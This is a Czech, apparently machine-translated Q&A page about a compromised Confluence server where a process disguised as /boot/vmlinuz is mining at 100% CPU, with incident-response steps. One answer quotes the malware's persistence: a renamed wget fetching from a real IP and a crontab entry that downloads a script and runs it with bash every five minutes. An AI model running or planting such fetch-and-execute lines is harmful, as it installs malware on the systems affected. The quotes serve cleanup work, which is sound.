GNU/Linux >> Znalost Linux >  >> Linux

Proces vmlinuz běží na 100% CPU

Váš server vypadá jako hacknutý. Podívejte se prosím pozorně na seznam procesů, např. spusťte ps auxc a podívejte se na binární zdroje procesu.

Ke skenování vašeho serveru můžete použít nástroje jako rkhunter, ale obecně byste měli na začátku zabít vše, co jste dostali jako confluence user, prohledat váš server/účet, upgradovat váš confluence (ve většině případů uživatelsky určený zdroj útoku) a podívat se ve vašem soutoku pro další účty atd.

Chcete-li vidět, co je v tomto procesu, podívejte se na /proc např. v ls -la /proc/996 . Také tam uvidíte zdrojový binární soubor. Můžete také obědvat strace -ff -p 996 abyste viděli, co proces dělá, nebo cat /proc/996/exe | strings abyste viděli, jaké řetězce má tato binární soustava. Toto je pravděpodobně nějaká část botnetu, těžař atd.


Měl jsem stejný problém, byl hacknutý, virový skript byl v /tmp, najděte název skriptu z příkazu "top" (nepodstatná písmena, jméno "fcbk6hj" bylo moje. ) a zabijte procesy (možná 3 procesy)

root 3158 1 0 15:18 ? 00:00:01 ./fcbk6hj ./jd8CKglroot 3159 1 0 15:18 ? 00:00:01 ./fcbk6hj ./5CDocHlroot 3160 1 0 15:18 ? 00:00:11 ./fcbk6hj ./prot

zabijte je všechny a smažte /tmp/prot a ukončete proces /boot/vmlinuz, CPU je zpět.

Zjistil jsem, že virus stáhl skript do /tmp automaticky, moje metoda byla mv wgetak na jiné jméno.

Virus behavious:wgetak -q http://51.38.133.232:80/86su.jpg -O ./KC5GkAo

nalezen následující úkol byl napsán v crontab, stačí jej smazat:*/5 * * * * /usr/bin/wgetak -q -O /tmp/seasame http://51.38.133.232:80 &&bash /tmp/seasame


Po odstranění ze systému a crontab je možná dobrý nápad (alespoň prozatím) přidat confluence user do /etc/cron.deny .

A po:

$ crontab -e
You (confluence) are not allowed to use this program (crontab)
See crontab(1) for more information

Linux
  1. Proč Windows 10 VM vždy ukazuje 100% využití CPU na QEMU-KVM?

  2. Linux – Jak omezit proces na jedno jádro CPU v Linuxu?

  3. Jak zjistit, zda proces běží uvnitř lxc/Docker?

  1. Jak omezit využití CPU procesu v Linuxu

  2. Detekce Process Eating CPU bez:Top, Htop, Ps?

  3. Nahoře je uvedeno 100 % využití CPU, ale 50 % jader nečinných?

  1. Načíst využití CPU a paměti jedním procesem v Linuxu?

  2. Omezení využití procesní paměti/CPU v linuxu

  3. Proč je využití CPU hlášeno top v Linuxu přes 100 %?